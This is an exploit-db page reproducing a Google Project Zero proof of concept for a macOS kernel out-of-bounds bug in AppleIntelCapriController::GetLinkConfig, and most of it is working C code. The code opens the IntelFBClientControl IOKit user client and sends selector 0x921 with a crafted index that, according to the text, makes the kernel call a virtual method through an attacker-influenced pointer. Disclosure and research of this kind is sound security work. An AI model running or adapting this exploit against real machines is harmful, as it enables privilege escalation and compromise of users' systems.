Apple macOS – Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig

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• 作者： Google Security Research
  日期： 2017-12-12
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/43327/
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  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375   AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.   Tested on MacOS 10.13 (17A365) on MacBookAir5,2 */   // ianbeer // build: clang -o capri_link_config capri_link_config.c -framework IOKit   #if 0 MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig   AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.   Tested on MacOS 10.13 (17A365) on MacBookAir5,2 #endif   #include <stdio.h> #include <stdlib.h> #include <string.h>   #include <IOKit/IOKitLib.h>   int main(int argc, char** argv){ kern_return_t err;   io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));   if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; }   io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; }   uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0;   char inputStruct[4096]; size_t inputStructCnt = 8; //*(uint64_t*)inputStruct = 0x12345678; // crash *(uint64_t*)inputStruct = 0x37; // oob call     uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0;   char outputStruct[4096]; size_t outputStructCnt = 4096;   err = IOConnectCallMethod( conn, 0x921,// GetLinkConfig inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt);   return 0; }